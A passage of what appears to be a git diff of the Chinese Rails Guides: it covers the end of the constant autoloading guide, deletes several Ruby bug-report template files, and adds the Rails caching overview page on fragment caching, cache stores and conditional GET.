每个中间类(首尾之外的类)都要这么做。根类并没有通过类型限定查询,因此无需知道所有子代。

10.3 自动加载和 require +

通过自动加载机制加载的定义常量的文件一定不能使用 require 引入:

+
+require 'user' # 千万别这么做
+
+class UsersController < ApplicationController
+  ...
+end
+
+
+
+

如果这么做,在开发环境中会导致两个问题:

+
    +
  1. 如果在执行 require 之前自动加载了 Userapp/models/user.rb 会再次运行,因为 load 不会更新 $LOADED_FEATURES
  2. +
  3. 如果 require 先执行了,Rails 不会把 User 标记为自动加载的常量,因此 app/models/user.rb 文件中的改动不会重新加载。
  4. +
+

我们应该始终遵守规则,使用常量自动加载机制,一定不能混用自动加载和 require。底线是,如果一定要加载特定的文件,使用 require_dependency,这样能正确利用常量自动加载机制。不过,实际上很少需要这么做。

当然,在自动加载的文件中使用 require 加载第三方库没问题,Rails 会做区分,不把第三方库里的常量标记为自动加载的。

10.4 自动加载和初始化脚本

假设 config/initializers/set_auth_service.rb 文件中有下述赋值语句:

+
+AUTH_SERVICE = if Rails.env.production?
+  RealAuthService
+else
+  MockedAuthService
+end
+
+
+
+

这么做的目的是根据所在环境为 AUTH_SERVICE 赋予不同的值。在开发环境中,运行这个初始化脚本时,自动加载 MockedAuthService。假如我们发送了几个请求,修改了实现,然后再次运行应用,奇怪的是,改动没有生效。这是为什么呢?

从前文得知,Rails 会删除自动加载的常量,但是 AUTH_SERVICE 存储的还是原来那个类对象。原来那个常量不存在了,但是功能完全不受影响。

下述代码概述了这种情况:

+
+class C
+  def quack
+    'quack!'
+  end
+end
+
+X = C
+Object.instance_eval { remove_const(:C) }
+X.new.quack # => quack!
+X.name      # => C
+C           # => uninitialized constant C (NameError)
+
+
+
+

鉴于此,不建议在应用初始化过程中自动加载常量。

对上述示例来说,我们可以实现一个动态接入点:

+
+# app/models/auth_service.rb
+class AuthService
+  if Rails.env.production?
+    def self.instance
+      RealAuthService
+    end
+  else
+    def self.instance
+      MockedAuthService
+    end
+  end
+end
+
+
+
+

然后在应用中使用 AuthService.instance。这样,AuthService 会按需加载,而且能顺利自动加载。

10.5 require_dependency 和初始化脚本

前面说过,require_dependency 加载的文件能顺利自动加载。但是,一般来说不应该在初始化脚本中使用。

有人可能觉得在初始化脚本中调用 require_dependency 能确保提前加载特定的常量,例如用于解决 STI 问题

问题是,在开发环境中,如果文件系统中有相关的改动,自动加载的常量会被抹除。这样就与使用初始化脚本的初衷背道而驰了。

require_dependency 调用应该写在能自动加载的地方。

10.6 常量未缺失

10.6.1 相对引用

以一个飞行模拟器为例。应用中有个默认的飞行模型:

+
+# app/models/flight_model.rb
+class FlightModel
+end
+
+
+
+

每架飞机都可以将其覆盖,例如:

+
+# app/models/bell_x1/flight_model.rb
+module BellX1
+  class FlightModel < FlightModel
+  end
+end
+
+# app/models/bell_x1/aircraft.rb
+module BellX1
+  class Aircraft
+    def initialize
+      @flight_model = FlightModel.new
+    end
+  end
+end
+
+
+
+

初始化脚本想创建一个 BellX1::FlightModel 对象,而且嵌套中有 BellX1,看起来这没什么问题。但是,如果默认飞行模型加载了,但是 Bell-X1 模型没有,解释器能解析顶层的 FlightModel,因此 BellX1::FlightModel 不会触发自动加载机制。

这种代码取决于执行路径。

这种歧义通常可以通过限定常量解决:

+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= BellX1::FlightModel.new
+    end
+  end
+end
+
+
+
+

此外,使用 require_dependency 也能解决:

+
+require_dependency 'bell_x1/flight_model'
+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= FlightModel.new
+    end
+  end
+end
+
+
+
+

10.6.2 限定引用

对下述代码来说

+
+# app/models/hotel.rb
+class Hotel
+end
+
+# app/models/image.rb
+class Image
+end
+
+# app/models/hotel/image.rb
+class Hotel
+  class Image < Image
+  end
+end
+
+
+
+

Hotel::Image 这个表达式有歧义,因为它取决于执行路径。

从前文得知,Ruby 会在 Hotel 及其祖先中查找常量。如果加载了 app/models/image.rb 文件,但是没有加载 app/models/hotel/image.rb,Ruby 在 Hotel 中找不到 Image,而在 Object 中能找到:

+
+$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
+Image # 不是 Hotel::Image!
+
+
+
+

若想得到 Hotel::Image,要确保 app/models/hotel/image.rb 文件已经加载——或许是使用 require_dependency 加载的。

不过,在这些情况下,解释器会发出提醒:

+
+warning: toplevel constant Image referenced by Hotel::Image
+
+
+
+

任何限定的类都能发现这种奇怪的常量解析行为:

+
+2.1.5 :001 > String::Array
+(irb):1: warning: toplevel constant Array referenced by String::Array
+ => Array
+
+
+
+

为了发现这种问题,限定命名空间必须是类。Object 不是模块的祖先。

10.7 单例类中的自动加载

假如有下述类定义:

+
+# app/models/hotel/services.rb
+module Hotel
+  class Services
+  end
+end
+
+# app/models/hotel/geo_location.rb
+module Hotel
+  class GeoLocation
+    class << self
+      Services
+    end
+  end
+end
+
+
+
+

如果加载 app/models/hotel/geo_location.rb 文件时 Hotel::Services 是已知的,Services 由 Ruby 解析,因为打开 Hotel::GeoLocation 的单例类时,Hotel 在嵌套中。

但是,如果 Hotel::Services 是未知的,Rails 无法自动加载它,应用会抛出 NameError 异常。

这是因为单例类(匿名的)会触发自动加载,从前文得知,在这种边缘情况下,Rails 只检查顶层命名空间。

这个问题的简单解决方案是使用限定常量:

+
+module Hotel
+  class GeoLocation
+    class << self
+      Hotel::Services
+    end
+  end
+end
+
+
+
+

10.8 BasicObject 中的自动加载

BasicObject 的直接子代的祖先中没有 Object,因此无法解析顶层常量:

+
+class C < BasicObject
+  String # NameError: uninitialized constant C::String
+end
+
+
+
+

如果涉及自动加载,情况稍微复杂一些。对下述代码来说

+
+class C < BasicObject
+  def user
+    User # 错误
+  end
+end
+
+
+
+

因为 Rails 会检查顶层命名空间,所以第一次调用 user 方法时,User 能自动加载。但是,如果 User 是已知的,尤其是第二次调用 user 方法时,情况就不同了:

+
+c = C.new
+c.user # 奇怪的是能正常运行,返回 User
+c.user # NameError: uninitialized constant C::User
+
+
+
+

因为此时发现父级命名空间中已经有那个常量了(参见 限定引用)。

在纯 Ruby 代码中,在 BasicObject 的直接子代的定义体中应该始终使用绝对常量路径:

+
+class C < BasicObject
+  ::String # 正确
+
+  def user
+    ::User # 正确
+  end
+end
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/bug_report_templates/action_controller_gem.rb b/bug_report_templates/action_controller_gem.rb deleted file mode 100644 index e22c932..0000000 --- a/bug_report_templates/action_controller_gem.rb +++ /dev/null @@ -1,56 +0,0 @@ -begin - require 'bundler/inline' -rescue LoadError => e - $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' - raise e -end - -gemfile(true) do - source 'https://rubygems.org/' - # Activate the gem you are reporting the issue against. - gem 'rails', '5.0.0' -end - -require 'rack/test' -require 'action_controller/railtie' - -class TestApp < Rails::Application - config.root = File.dirname(__FILE__) - config.session_store :cookie_store, key: 'cookie_store_key' - secrets.secret_token = 'secret_token' - secrets.secret_key_base = 'secret_key_base' - - config.logger = Logger.new($stdout) - Rails.logger = config.logger - - routes.draw do - get '/' => 'test#index' - end -end - -class TestController < ActionController::Base - include Rails.application.routes.url_helpers - - def index - render plain: 'Home' - end -end - -require 'minitest/autorun' - -# Ensure backward compatibility with Minitest 4 -Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test) - -class BugTest < Minitest::Test - include Rack::Test::Methods - - def test_returns_success - get '/' - assert last_response.ok? - end - - private - def app - Rails.application - end -end diff --git a/bug_report_templates/action_controller_master.rb b/bug_report_templates/action_controller_master.rb deleted file mode 100644 index 8322707..0000000 --- a/bug_report_templates/action_controller_master.rb +++ /dev/null @@ -1,52 +0,0 @@ -begin - require 'bundler/inline' -rescue LoadError => e - $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' - raise e -end - -gemfile(true) do - source 'https://rubygems.org/' - gem 'rails', github: 'rails/rails' -end - -require 'action_controller/railtie' - -class TestApp < Rails::Application - config.root = File.dirname(__FILE__) - config.session_store :cookie_store, key: 'cookie_store_key' - secrets.secret_token = 'secret_token' - secrets.secret_key_base = 'secret_key_base' - - config.logger = Logger.new($stdout) - Rails.logger = config.logger - - routes.draw do - get '/' => 'test#index' - end -end - -class TestController < ActionController::Base - include Rails.application.routes.url_helpers - - def index - render plain: 'Home' - end -end - -require 'minitest/autorun' -require 'rack/test' - -class BugTest < Minitest::Test - include Rack::Test::Methods - - def test_returns_success - get '/' - assert last_response.ok? - end - - private - def app - Rails.application - end -end diff --git a/bug_report_templates/active_record_gem.rb b/bug_report_templates/active_record_gem.rb deleted file mode 100644 index 46fd2f1..0000000 --- a/bug_report_templates/active_record_gem.rb +++ /dev/null @@ -1,52 +0,0 @@ -begin - require 'bundler/inline' -rescue LoadError => e - $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' - raise e -end - -gemfile(true) do - source 'https://rubygems.org/' - # Activate the gem you are reporting the issue against. - gem 'activerecord', '5.0.0' - gem 'sqlite3' -end - -require 'active_record' -require 'minitest/autorun' -require 'logger' - -# Ensure backward compatibility with Minitest 4 -Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test) - -# This connection will do for database-independent bug reports. -ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:') -ActiveRecord::Base.logger = Logger.new(STDOUT) - -ActiveRecord::Schema.define do - create_table :posts, force: true do |t| - end - - create_table :comments, force: true do |t| - t.integer :post_id - end -end - -class Post < ActiveRecord::Base - has_many :comments -end - -class Comment < ActiveRecord::Base - belongs_to :post -end - -class BugTest < Minitest::Test - def test_association_stuff - post = Post.create! - post.comments << Comment.create! - - assert_equal 1, post.comments.count - assert_equal 1, Comment.count - assert_equal post.id, Comment.first.post.id - end -end diff --git a/bug_report_templates/active_record_master.rb b/bug_report_templates/active_record_master.rb deleted file mode 100644 index 6fd401b..0000000 --- a/bug_report_templates/active_record_master.rb +++ /dev/null @@ -1,48 +0,0 @@ -begin - require 'bundler/inline' -rescue LoadError => e - $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' - raise e -end - -gemfile(true) do - source 'https://rubygems.org/' - gem 'rails', github: 'rails/rails' - gem 'sqlite3' -end - -require 'active_record' -require 'minitest/autorun' -require 'logger' - -# This connection will do for database-independent bug reports. -ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:') -ActiveRecord::Base.logger = Logger.new(STDOUT) - -ActiveRecord::Schema.define do - create_table :posts, force: true do |t| - end - - create_table :comments, force: true do |t| - t.integer :post_id - end -end - -class Post < ActiveRecord::Base - has_many :comments -end - -class Comment < ActiveRecord::Base - belongs_to :post -end - -class BugTest < Minitest::Test - def test_association_stuff - post = Post.create! - post.comments << Comment.create! - - assert_equal 1, post.comments.count - assert_equal 1, Comment.count - assert_equal post.id, Comment.first.post.id - end -end diff --git a/bug_report_templates/generic_gem.rb b/bug_report_templates/generic_gem.rb deleted file mode 100644 index 2aaaf10..0000000 --- a/bug_report_templates/generic_gem.rb +++ /dev/null @@ -1,25 +0,0 @@ -begin - require 'bundler/inline' -rescue LoadError => e - $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' - raise e -end - -gemfile(true) do - source 'https://rubygems.org/' - # Activate the gem you are reporting the issue against. - gem 'activesupport', '5.0.0' -end - -require 'active_support/core_ext/object/blank' -require 'minitest/autorun' - -# Ensure backward compatibility with Minitest 4 -Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test) - -class BugTest < Minitest::Test - def test_stuff - assert "zomg".present? - refute "".present? - end -end diff --git a/bug_report_templates/generic_master.rb b/bug_report_templates/generic_master.rb deleted file mode 100644 index 70cf931..0000000 --- a/bug_report_templates/generic_master.rb +++ /dev/null @@ -1,22 +0,0 @@ -begin - require 'bundler/inline' -rescue LoadError => e - $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' - raise e -end - -gemfile(true) do - source 'https://rubygems.org/' - gem 'rails', github: 'rails/rails' -end - -require 'active_support' -require 'active_support/core_ext/object/blank' -require 'minitest/autorun' - -class BugTest < Minitest::Test - def test_stuff - assert "zomg".present? - refute "".present? - end -end diff --git a/caching_with_rails.html b/caching_with_rails.html new file mode 100644 index 0000000..b012a66 --- /dev/null +++ b/caching_with_rails.html @@ -0,0 +1,600 @@ + + + + + + + +Rails 缓存概览 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 缓存概览

本文简述如何使用缓存提升 Rails 应用的速度。

缓存是指存储请求-响应循环中生成的内容,在类似请求的响应中复用。

通常,缓存是提升应用性能最有效的方式。通过缓存,在单个服务器中使用单个数据库的网站可以承受数千个用户并发访问。

Rails 自带了一些缓存功能。本文说明它们的适用范围和作用。掌握这些技术之后,你的 Rails 应用能承受大量访问,而不必花大量时间生成响应,或者支付高昂的服务器账单。

读完本文后,您将学到:

+
    +
  • 片段缓存和俄罗斯套娃缓存;
  • +
  • 如何管理缓存依赖;
  • +
  • 不同的缓存存储器;
  • +
  • 对条件 GET 请求的支持。
  • +
+ + + + +
+
+ +
+
+
+

1 基本缓存

本节简介三种缓存技术:页面缓存(page caching)、动作缓存(action caching)和片段缓存(fragment caching)。Rails 默认提供了片段缓存。如果想使用页面缓存或动作缓存,要把 actionpack-page_cachingactionpack-action_caching 添加到 Gemfile 中。

默认情况下,缓存只在生产环境启用。如果想在本地启用缓存,要在相应的 config/environments/*.rb 文件中把 config.action_controller.perform_caching 设为 true

+
+config.action_controller.perform_caching = true
+
+
+
+

修改 config.action_controller.perform_caching 的值只对 Action Controller 组件提供的缓存有影响。例如,对低层缓存没影响,下文详述

1.1 页面缓存

页面缓存时 Rails 提供的一种缓存机制,让 Web 服务器(如 Apache 和 NGINX)直接伺服生成的页面,而不经由 Rails 栈处理。虽然这种缓存的速度超快,但是不适用于所有情况(例如需要验证身份的页面)。此外,因为 Web 服务器直接从文件系统中伺服文件,所以你要自行实现缓存失效机制。

Rails 4 删除了页面缓存。参见 actionpack-page_caching gem

1.2 动作缓存

有前置过滤器的动作不能使用页面缓存,例如需要验证身份的页面。此时,应该使用动作缓存。动作缓存的工作原理与页面缓存类似,不过入站请求会经过 Rails 栈处理,以便运行前置过滤器,然后再伺服缓存。这样,可以做身份验证和其他限制,同时还能从缓存的副本中伺服结果。

Rails 4 删除了动作缓存。参见 actionpack-action_caching gem。最新推荐的做法参见 DHH 写的“How key-based cache expiration works”一文。

1.3 片段缓存

动态 Web 应用一般使用不同的组件构建页面,不是所有组件都能使用同一种缓存机制。如果页面的不同部分需要使用不同的缓存机制,在不同的条件下失效,可以使用片段缓存。

片段缓存把视图逻辑的一部分放在 cache 块中,下次请求使用缓存存储器中的副本伺服。

例如,如果想缓存页面中的各个商品,可以使用下述代码:

+
+<% @products.each do |product| %>
+  <% cache product do %>
+    <%= render product %>
+  <% end %>
+<% end %>
+
+
+
+

首次访问这个页面时,Rails 会创建一个具有唯一键的缓存条目。缓存键类似下面这种:

+
+views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901
+
+
+
+

中间的数字是 product_id 加上商品记录的 updated_at 属性中存储的时间戳。Rails 使用时间戳确保不伺服过期的数据。如果 updated_at 的值变了,Rails 会生成一个新键,然后在那个键上写入一个新缓存,旧键上的旧缓存不再使用。这叫基于键的失效方式。

视图片段有变化时(例如视图的 HTML 有变),缓存的片段也失效。缓存键末尾那个字符串是模板树摘要,是基于缓存的视图片段的内容计算的 MD5 哈希值。如果视图片段有变化,MD5 哈希值就变了,因此现有文件失效。

Memcached 等缓存存储器会自动删除旧的缓存文件。

如果想在特定条件下缓存一个片段,可以使用 cache_ifcache_unless

+
+<% cache_if admin?, product do %>
+  <%= render product %>
+<% end %>
+
+
+
+

1.3.1 集合缓存

render 辅助方法还能缓存渲染集合的单个模板。这甚至比使用 each 的前述示例更好,因为是一次性读取所有缓存模板的,而不是一次读取一个。若想缓存集合,渲染集合时传入 cached: true 选项:

+
+<%= render partial: 'products/product', collection: @products, cached: true %>
+
+
+
+

上述代码中所有的缓存模板一次性获取,速度更快。此外,尚未缓存的模板也会写入缓存,在下次渲染时获取。

1.4 俄罗斯套娃缓存

有时,可能想把缓存的片段嵌套在其他缓存的片段里。这叫俄罗斯套娃缓存(Russian doll caching)。

俄罗斯套娃缓存的优点是,更新单个商品后,重新生成外层片段时,其他内存片段可以复用。

前一节说过,如果缓存的文件对应的记录的 updated_at 属性值变了,缓存的文件失效。但是,内层嵌套的片段不失效。

对下面的视图来说:

+
+<% cache product do %>
+  <%= render product.games %>
+<% end %>
+
+
+
+

而它渲染这个视图:

+
+<% cache game do %>
+  <%= render game %>
+<% end %>
+
+
+
+

如果游戏的任何一个属性变了,updated_at 的值会设为当前时间,因此缓存失效。然而,商品对象的 updated_at 属性不变,因此它的缓存不失效,从而导致应用伺服过期的数据。为了解决这个问题,可以使用 touch 方法把模型绑在一起:

+
+class Product < ApplicationRecord
+  has_many :games
+end
+
+class Game < ApplicationRecord
+  belongs_to :product, touch: true
+end
+
+
+
+

touch 设为 true 后,导致游戏的 updated_at 变化的操作,也会修改关联的商品的 updated_at 属性,从而让缓存失效。

1.5 管理依赖

为了正确地让缓存失效,要正确地定义缓存依赖。Rails 足够智能,能处理常见的情况,无需自己指定。但是有时需要处理自定义的辅助方法(以此为例),因此要自行定义。

1.5.1 隐式依赖

多数模板依赖可以从模板中的 render 调用中推导出来。下面举例说明 ActionView::Digestor 知道如何解码的 render 调用:

+
+render partial: "comments/comment", collection: commentable.comments
+render "comments/comments"
+render 'comments/comments'
+render('comments/comments')
+
+render "header" => render("comments/header")
+
+render(@topic)         => render("topics/topic")
+render(topics)         => render("topics/topic")
+render(message.topics) => render("topics/topic")
+
+
+
+

而另一方面,有些调用要做修改方能让缓存正确工作。例如,如果传入自定义的集合,要把下述代码:

+
+render @project.documents.where(published: true)
+
+
+
+

改为:

+
+render partial: "documents/document", collection: @project.documents.where(published: true)
+
+
+
+

1.5.2 显式依赖

有时,模板依赖推导不出来。在辅助方法中渲染时经常是这样。下面举个例子:

+
+<%= render_sortable_todolists @project.todolists %>
+
+
+
+

此时,要使用一种特殊的注释格式:

+
+<%# Template Dependency: todolists/todolist %>
+<%= render_sortable_todolists @project.todolists %>
+
+
+
+

某些情况下,例如设置单表继承,可能要显式定义一堆依赖。此时无需写出每个模板,可以使用通配符匹配一个目录中的全部模板:

+
+<%# Template Dependency: events/* %>
+<%= render_categorizable_events @person.events %>
+
+
+
+

对集合缓存来说,如果局部模板不是以干净的缓存调用开头,依然可以使用集合缓存,不过要在模板中的任意位置添加一种格式特殊的注释,如下所示:

+
+<%# Template Collection: notification %>
+<% my_helper_that_calls_cache(some_arg, notification) do %>
+  <%= notification.name %>
+<% end %>
+
+
+
+

1.5.3 外部依赖

如果在缓存的块中使用辅助方法,而后更新了辅助方法,还要更新缓存。具体方法不限,只要能改变模板文件的 MD5 值就行。推荐的方法之一是添加一个注释,如下所示:

+
+<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %>
+<%= some_helper_method(person) %>
+
+
+
+

1.6 低层缓存

有时需要缓存特定的值或查询结果,而不是缓存视图片段。Rails 的缓存机制能存储任何类型的信息。

实现低层缓存最有效的方式是使用 Rails.cache.fetch 方法。这个方法既能读取也能写入缓存。传入单个参数时,获取指定的键,返回缓存中的值。如果传入块,块中的代码在缓存缺失时执行。块返回的值将写入缓存,存在指定键的名下,然后返回那个返回值。如果命中缓存,直接返回缓存的值,而不执行块中的代码。

下面举个例子。应用中有个 Product 模型,它有个实例方法,在竞争网站中查找商品的价格。这个方法返回的数据特别适合使用低层缓存:

+
+class Product < ApplicationRecord
+  def competing_price
+    Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do
+      Competitor::API.find_price(id)
+    end
+  end
+end
+
+
+
+

注意,这个示例使用了 cache_key 方法,因此得到的缓存键类似这种:products/233-20140225082222765838000/competing_pricecache_key 方法根据模型的 idupdated_at 属性生成一个字符串。这是常见的约定,有个好处是,商品更新后缓存自动失效。一般来说,使用低层缓存缓存实例层信息时,需要生成缓存键。

1.7 SQL 缓存

查询缓存是 Rails 提供的一个功能,把各个查询的结果集缓存起来。如果在同一个请求中遇到了相同的查询,Rails 会使用缓存的结果集,而不再次到数据库中运行查询。

例如:

+
+class ProductsController < ApplicationController
+
+  def index
+    # 运行查找查询
+    @products = Product.all
+
+    ...
+
+    # 再次运行相同的查询
+    @products = Product.all
+  end
+
+end
+
+
+
+

再次运行相同的查询时,根本不会发给数据库。首次运行查询得到的结果存储在查询缓存中(内存里),第二次查询从内存中获取。

然而要知道,查询缓存在动作开头创建,到动作末尾销毁,只在动作的存续时间内存在。如果想持久化存储查询结果,使用低层缓存也能实现。

2 缓存存储器

Rails 为存储缓存数据(SQL 缓存和页面缓存除外)提供了不同的存储器。

2.1 配置

config.cache_store 配置选项用于设定应用的默认缓存存储器。可以设定其他参数,传给缓存存储器的构造方法:

+
+config.cache_store = :memory_store, { size: 64.megabytes }
+
+
+
+

此外,还可以在配置块外部调用 ActionController::Base.cache_store

缓存存储器通过 Rails.cache 访问。

2.2 ActiveSupport::Cache::Store +

这个类是在 Rails 中与缓存交互的基础。这是个抽象类,不能直接使用。你必须根据存储器引擎具体实现这个类。Rails 提供了几个实现,说明如下。

主要调用的方法有 readwritedeleteexist?fetchfetch 方法接受一个块,返回缓存中现有的值,或者把新值写入缓存。

所有缓存实现有些共用的选项,可以传给构造方法,或者传给与缓存条目交互的各个方法。

+
    +
  • :namespace:在缓存存储器中创建命名空间。如果与其他应用共用同一个缓存存储器,这个选项特别有用。
  • +
  • :compress:指定压缩缓存。通过缓慢的网络传输大量缓存时用得着。
  • +
  • :compress_threshold:与 :compress 选项搭配使用,指定一个阈值,未达到时不压缩缓存。默认为 16 千字节。
  • +
  • :expires_in:为缓存条目设定失效时间(秒数),失效后自动从缓存中删除。
  • +
  • :race_condition_ttl:与 :expires_in 选项搭配使用。避免多个进程同时重新生成相同的缓存条目(也叫 dog pile effect),防止让缓存条目过期时出现条件竞争。这个选项设定在重新生成新值时失效的条目还可以继续使用多久(秒数)。如果使用 :expires_in 选项, 最好也设定这个选项。
  • +
+

2.2.1 自定义缓存存储器

缓存存储器可以自己定义,只需扩展 ActiveSupport::Cache::Store 类,实现相应的方法。这样,你可以把任何缓存技术带到你的 Rails 应用中。

若想使用自定义的缓存存储器,只需把 cache_store 设为自定义类的实例:

+
+config.cache_store = MyCacheStore.new
+
+
+
+

2.3 ActiveSupport::Cache::MemoryStore +

这个缓存存储器把缓存条目放在内存中,与 Ruby 进程放在一起。可以把 :size 选项传给构造方法,指定缓存的大小限制(默认为 32Mb)。超过分配的大小后,会清理缓存,把最不常用的条目删除。

+
+config.cache_store = :memory_store, { size: 64.megabytes }
+
+
+
+

如果运行多个 Ruby on Rails 服务器进程(例如使用 Phusion Passenger 或 Puma 集群模式),各个实例之间无法共享缓存数据。这个缓存存储器不适合大型应用使用。不过,适合只有几个服务器进程的低流量小型应用使用,也适合在开发环境和测试环境中使用。

2.4 ActiveSupport::Cache::FileStore +

这个缓存存储器使用文件系统存储缓存条目。初始化这个存储器时,必须指定存储文件的目录:

+
+config.cache_store = :file_store, "/path/to/cache/directory"
+
+
+
+

使用这个缓存存储器时,在同一台主机中运行的多个服务器进程可以共享缓存。这个缓存存储器适合一到两个主机的中低流量网站使用。运行在不同主机中的多个服务器进程若想共享缓存,可以使用共享的文件系统,但是不建议这么做。

缓存量一直增加,直到填满磁盘,所以建议你定期清理旧缓存条目。

这是默认的缓存存储器。

2.5 ActiveSupport::Cache::MemCacheStore +

这个缓存存储器使用 Danga 的 memcached 服务器为应用提供中心化缓存。Rails 默认使用自带的 dalli gem。这是生产环境的网站目前最常使用的缓存存储器。通过它可以实现单个共享的缓存集群,效率很高,有较好的冗余。

初始化这个缓存存储器时,要指定集群中所有 memcached 服务器的地址。如果不指定,假定 memcached 运行在本地的默认端口上,但是对大型网站来说,这样做并不好。

这个缓存存储器的 writefetch 方法接受两个额外的选项,以便利用 memcached 的独有特性。指定 :raw 时,直接把值发给服务器,不做序列化。值必须是字符串或数字。memcached 的直接操作,如 incrementdecrement,只能用于原始值。还可以指定 :unless_exist 选项,不让 memcached 覆盖现有条目。

+
+config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
+
+
+
+

2.6 ActiveSupport::Cache::NullStore +

这个缓存存储器只应该在开发或测试环境中使用,它并不存储任何信息。在开发环境中,如果代码直接与 Rails.cache 交互,但是缓存可能对代码的结果有影响,可以使用这个缓存存储器。在这个缓存存储器上调用 fetchread 方法不返回任何值。

+
+config.cache_store = :null_store
+
+
+
+

3 缓存键

缓存中使用的键可以是能响应 cache_keyto_param 方法的任何对象。如果想定制生成键的方式,可以覆盖 cache_key 方法。Active Record 根据类名和记录 ID 生成缓存键。

缓存键的值可以是散列或数组:

+
+# 这是一个有效的缓存键
+Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
+
+
+
+

Rails.cache 使用的键与存储引擎使用的并不相同,存储引擎使用的键可能含有命名空间,或者根据后端的限制做调整。这意味着,使用 Rails.cache 存储值时使用的键可能无法用于供 dalli gem 获取缓存条目。然而,你也无需担心会超出 memcached 的大小限制,或者违背句法规则。

4 对条件 GET 请求的支持

条件 GET 请求是 HTTP 规范的一个特性,以此告诉 Web 浏览器,GET 请求的响应自上次请求之后没有变化,可以放心从浏览器的缓存中读取。

为此,要传递 HTTP_IF_NONE_MATCHHTTP_IF_MODIFIED_SINCE 首部,其值分别为唯一的内容标识符和上一次改动时的时间戳。浏览器发送的请求,如果内容标识符(etag)或上一次修改的时间戳与服务器中的版本匹配,那么服务器只需返回一个空响应,把状态设为未修改。

服务器(也就是我们自己)要负责查看最后修改时间戳和 HTTP_IF_NONE_MATCH 首部,判断要不要返回完整的响应。既然 Rails 支持条件 GET 请求,那么这个任务就非常简单:

+
+class ProductsController < ApplicationController
+
+  def show
+    @product = Product.find(params[:id])
+
+    # 如果根据指定的时间戳和 etag 值判断请求的内容过期了
+    # (即需要重新处理)执行这个块
+    if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key)
+      respond_to do |wants|
+        # ... 正常处理响应
+      end
+    end
+
+    # 如果请求的内容还新鲜(即未修改),无需做任何事
+    # render 默认使用前面 stale? 中的参数做检查,会自动发送 :not_modified 响应
+    # 就这样,工作结束
+  end
+end
+
+
+
+

除了散列,还可以传入模型。Rails 会使用 updated_atcache_key 方法设定 last_modifiedetag

+
+class ProductsController < ApplicationController
+  def show
+    @product = Product.find(params[:id])
+
+    if stale?(@product)
+      respond_to do |wants|
+        # ... 正常处理响应
+      end
+    end
+  end
+end
+
+
+
+

如果无需特殊处理响应,而且使用默认的渲染机制(即不使用 respond_to,或者不自己调用 render),可以使用 fresh_when 简化这个过程:

+
+class ProductsController < ApplicationController
+
+  # 如果请求的内容是新鲜的,自动返回 :not_modified
+  # 否则渲染默认的模板(product.*)
+
+  def show
+    @product = Product.find(params[:id])
+    fresh_when last_modified: @product.published_at.utc, etag: @product
+  end
+end
+
+
+
+

有时,我们需要缓存响应,例如永不过期的静态页面。为此,可以使用 http_cache_forever 辅助方法,让浏览器和代理无限期缓存。

默认情况下,缓存的响应是私有的,只在用户的 Web 浏览器中缓存。如果想让代理缓存响应,设定 public: true,让代理把缓存的响应提供给所有用户。

使用这个辅助方法时,last_modified 首部的值被设为 Time.new(2011, 1, 1).utcexpires 首部的值被设为 100 年。

使用这个方法时要小心,因为浏览器和代理不会作废缓存的响应,除非强制清除浏览器缓存。

+
+class HomeController < ApplicationController
+  def index
+    http_cache_forever(public: true) do
+      render
+    end
+  end
+end
+
+
+
+

4.1 强 Etag 与弱 Etag

Rails 默认生成弱 ETag。这种 Etag 允许语义等效但主体不完全匹配的响应具有相同的 Etag。如果响应主体有微小改动,而不想重新渲染页面,可以使用这种 Etag。

为了与强 Etag 区别,弱 Etag 前面有 W/

+
+W/"618bbc92e2d35ea1945008b42799b0e7" => 弱 ETag
+"618bbc92e2d35ea1945008b42799b0e7"   => 强 ETag
+
+
+
+

与弱 Etag 不同,强 Etag 要求响应完全一样,不能有一个字节的差异。在大型视频或 PDF 文件内部做 Range 查询时用得到。有些 CDN,如 Akamai,只支持强 Etag。如果确实想生成强 Etag,可以这么做:

+
+class ProductsController < ApplicationController
+  def show
+    @product = Product.find(params[:id])
+    fresh_when last_modified: @product.published_at.utc, strong_etag: @product
+  end
+end
+
+
+
+

也可以直接在响应上设定强 Etag:

+
+response.strong_etag = response.body
+# => "618bbc92e2d35ea1945008b42799b0e7"
+
+
+
+

5 在开发环境中测试缓存

我们经常需要在开发模式中测试应用采用的缓存策略。Rails 提供的 Rake 任务 dev:cache 能轻易启停缓存。

+
+$ bin/rails dev:cache
+Development mode is now being cached.
+$ bin/rails dev:cache
+Development mode is no longer being cached.
+
+
+
+

6 参考资源

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

